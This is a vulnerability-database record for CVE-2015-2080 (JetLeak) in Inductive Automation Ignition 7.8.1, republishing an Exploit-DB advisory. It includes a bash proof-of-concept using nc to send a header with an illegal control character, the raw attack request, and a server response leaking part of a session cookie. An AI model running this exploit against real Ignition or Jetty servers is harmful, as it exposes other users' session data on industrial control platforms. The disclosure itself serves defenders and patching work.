ID

VAR-E-201502-0233


CVE

cve_id:CVE-2015-2080

Trust: 3.2

sources: PACKETSTORM: 130567 // PACKETSTORM: 135804 // EXPLOIT-DB: 39455 // EDBNET: 22986 // EDBNET: 24556

EDB ID

39455


TITLE

Inductive Automation Ignition 7.8.1 - Remote Leakage Of Shared Buffers - Multiple remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 39455

DESCRIPTION

Inductive Automation Ignition 7.8.1 - Remote Leakage Of Shared Buffers. CVE-2015-2080 . remote exploit for Multiple platform

Trust: 0.6

sources: EXPLOIT-DB: 39455

AFFECTED PRODUCTS

vendor:inductivemodel:automation ignitionscope:eqversion:7.8.1

Trust: 1.5

vendor:nanometricsmodel:centaurscope:eqversion:4.3.23

Trust: 0.5

vendor:jettymodel: - scope:eqversion:9.2.8

Trust: 0.5

vendor:nanometricsmodel:centaur titansma unauthenticated remote memory leakscope:eqversion:/

Trust: 0.5

sources: PACKETSTORM: 156414 // PACKETSTORM: 130567 // PACKETSTORM: 135804 // PACKETSTORM: 156387 // EXPLOIT-DB: 39455

EXPLOIT

Inductive Automation Ignition 7.8.1 Remote Leakage Of Shared Buffers
Vendor: Inductive Automation
Product web page: http://www.inductiveautomation.com
Affected version: 7.8.1 (b2016012216) and 7.8.0 (b2015101414)
Platform: Java

Summary: Ignition is a powerful industrial application platform with
fully integrated development tools for building SCADA, MES, and IIoT
solutions.

Desc: Remote unauthenticated atackers are able to read arbitrary data
from other HTTP sessions because Ignition uses a vulnerable Jetty server.
When the Jetty web server receives a HTTP request, the below code is used
to parse through the HTTP headers and their associated values. The server
begins by looping through each character for a given header value and checks
the following:

- On Line 1164, the server checks if the character is printable ASCII or
not a valid ASCII character.
- On Line 1172, the server checks if the character is a space or tab.
- On Line 1175, the server checks if the character is a line feed.
- If the character is non-printable ASCII (or less than 0x20), then all
of the checks above are skipped over and the code throws an ëIllegalCharacterí
exception on line 1186, passing in the illegal character and a shared buffer.

---------------------------------------------------------------------------
File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java
---------------------------------------------------------------------------
920: protected boolean parseHeaders(ByteBuffer buffer)
921: {
[..snip..]
1163: case HEADER_VALUE:
1164: if (ch>HttpTokens.SPACE || ch<0)
1165: {
1166: _string.append((char)(0xff&ch));
1167: _length=_string.length();
1168: setState(State.HEADER_IN_VALUE);
1169: break;
1170: }
1171:
1172: if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB)
1173: break;
1174:
1175: if (ch==HttpTokens.LINE_FEED)
1176: {
1177: if (_length > 0)
1178: {
1179: _value=null;
1180: _valueString=(_valueString==null)?takeString():(_valueString+" "+takeString());
1181: }
1182: setState(State.HEADER);
1183: break;
1184: }
1185:
1186: throw new IllegalCharacter(ch,buffer);
---------------------------------------------------------------------------

Tested on: Microsoft Windows 7 Professional SP1 (EN)
Microsoft Windows 7 Ultimate SP1 (EN)
Ubuntu Linux 14.04
Mac OS X
HP-UX Itanium
Jetty(9.2.z-SNAPSHOT)
Java/1.8.0_73
Java/1.8.0_66

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2016-5306
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5306.php

CVE: CVE-2015-2080
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2080

Original: http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
Jetleak Test script: https://github.com/GDSSecurity/Jetleak-Testing-Script/blob/master/jetleak_tester.py
Eclipse: http://git.eclipse.org/c/jetty/org.eclipse.jetty.project.git/plain/advisories/2015-02-24-httpparser-error-buffer-bleed.md
https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md

14.01.2016

---

#######################
#!/bin/bash

#RESOURCEPATH="/main/web/config/alarming.schedule?4674-1.IBehaviorListener.0-demo"
RESOURCEPATH="/main/web/config/conf.modules?51461-4.IBehaviorListener.0-demo"
BAD=$'\a'

function normalRequest {
echo "-- Normal Request --"

nc localhost 8088 << NORMREQ
POST $RESOURCEPATH HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Connection: close
Content-Length: 63

NORMREQ
}

function badCookie {
echo "-- Bad Cookie --"

nc localhost 8088 << BADCOOKIE
GET $RESOURCEPATH HTTP/1.1
Host: localhost
Coo${BAD}kie: ${BAD}

BADCOOKIE
}

normalRequest
echo ""
echo ""
badCookie

#######################

Original raw analysis request via proxy using Referer:
------------------------------------------------------

GET /main/web/config/conf.modules?51461-4.IBehaviorListener.0-demo&_=1452849939485 HTTP/1.1
Host: localhost:8088
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
Wicket-Ajax: true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Wicket-Ajax-BaseURL: config/conf.modules?51461
Referer: \x00

Response leaking part of Cookie session:
----------------------------------------

HTTP/1.1 400 Illegal character 0x0 in state=HEADER_VALUE in 'GET /main/web/con...461\r\nReferer: \x00<<<\r\nAccept-Encoding...tion: close\r\n\r\n>>>SESSIONID=15iwe0g...\x0fCU\xFa\xBf\xA4j\x12\x83\xCb\xE61~S\xD1'
Content-Length: 0
Connection: close
Server: Jetty(9.2.z-SNAPSHOT)

Trust: 1.0

sources: EXPLOIT-DB: 39455

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 39455

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 39455

TYPE

Remote Leakage Of Shared Buffers

Trust: 1.0

sources: EXPLOIT-DB: 39455

TAGS

tag:exploit

Trust: 2.0

tag:remote

Trust: 1.5

tag:memory leak

Trust: 1.0

tag:web

Trust: 1.0

tag:arbitrary

Trust: 1.0

tag:info disclosure

Trust: 1.0

tag:proof of concept

Trust: 0.5

sources: PACKETSTORM: 156414 // PACKETSTORM: 130567 // PACKETSTORM: 135804 // PACKETSTORM: 156387

CREDITS

LiquidWorm

Trust: 0.6

sources: EXPLOIT-DB: 39455

EXTERNAL IDS

db:NVDid:CVE-2015-2080

Trust: 4.3

db:ZSLid:ZSL-2016-5306

Trust: 2.6

db:EXPLOIT-DBid:39455

Trust: 1.6

db:ZSLid:ZSL-2020-5562

Trust: 1.0

db:EDBNETid:82627

Trust: 0.6

db:0DAYTODAYid:23343

Trust: 0.6

db:EDBNETid:22986

Trust: 0.6

db:EDBNETid:60768

Trust: 0.6

db:0DAYTODAYid:24966

Trust: 0.6

db:EDBNETid:24556

Trust: 0.6

db:PACKETSTORMid:156414

Trust: 0.5

db:PACKETSTORMid:130567

Trust: 0.5

db:PACKETSTORMid:135804

Trust: 0.5

db:PACKETSTORMid:156387

Trust: 0.5

sources: PACKETSTORM: 156414 // PACKETSTORM: 130567 // PACKETSTORM: 135804 // PACKETSTORM: 156387 // EXPLOIT-DB: 39455 // EDBNET: 82627 // EDBNET: 22986 // EDBNET: 60768 // EDBNET: 24556

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2015-2080

Trust: 3.2

url:http://www.zeroscience.mk/en/vulnerabilities/zsl-2016-5306.php

Trust: 1.0

url:https://www.intelligentexploit.com

Trust: 0.6

url:https://0day.today/exploits/23343

Trust: 0.6

url:https://www.exploit-db.com/exploits/39455/

Trust: 0.6

url:https://0day.today/exploits/24966

Trust: 0.6

sources: PACKETSTORM: 130567 // PACKETSTORM: 135804 // EXPLOIT-DB: 39455 // EDBNET: 82627 // EDBNET: 22986 // EDBNET: 60768 // EDBNET: 24556

SOURCES

db:PACKETSTORMid:156414
db:PACKETSTORMid:130567
db:PACKETSTORMid:135804
db:PACKETSTORMid:156387
db:EXPLOIT-DBid:39455
db:EDBNETid:82627
db:EDBNETid:22986
db:EDBNETid:60768
db:EDBNETid:24556

LAST UPDATE DATE

2022-07-27T09:51:57.806000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:156414date:2020-02-19T15:17:55
db:PACKETSTORMid:130567date:2015-02-27T01:53:34
db:PACKETSTORMid:135804date:2016-02-17T00:03:33
db:PACKETSTORMid:156387date:2020-02-17T17:43:13
db:EXPLOIT-DBid:39455date:2016-02-17T00:00:00
db:EDBNETid:82627date:2016-02-17T00:00:00
db:EDBNETid:22986date:2015-03-03T00:00:00
db:EDBNETid:60768date:2016-02-17T00:00:00
db:EDBNETid:24556date:2016-02-17T00:00:00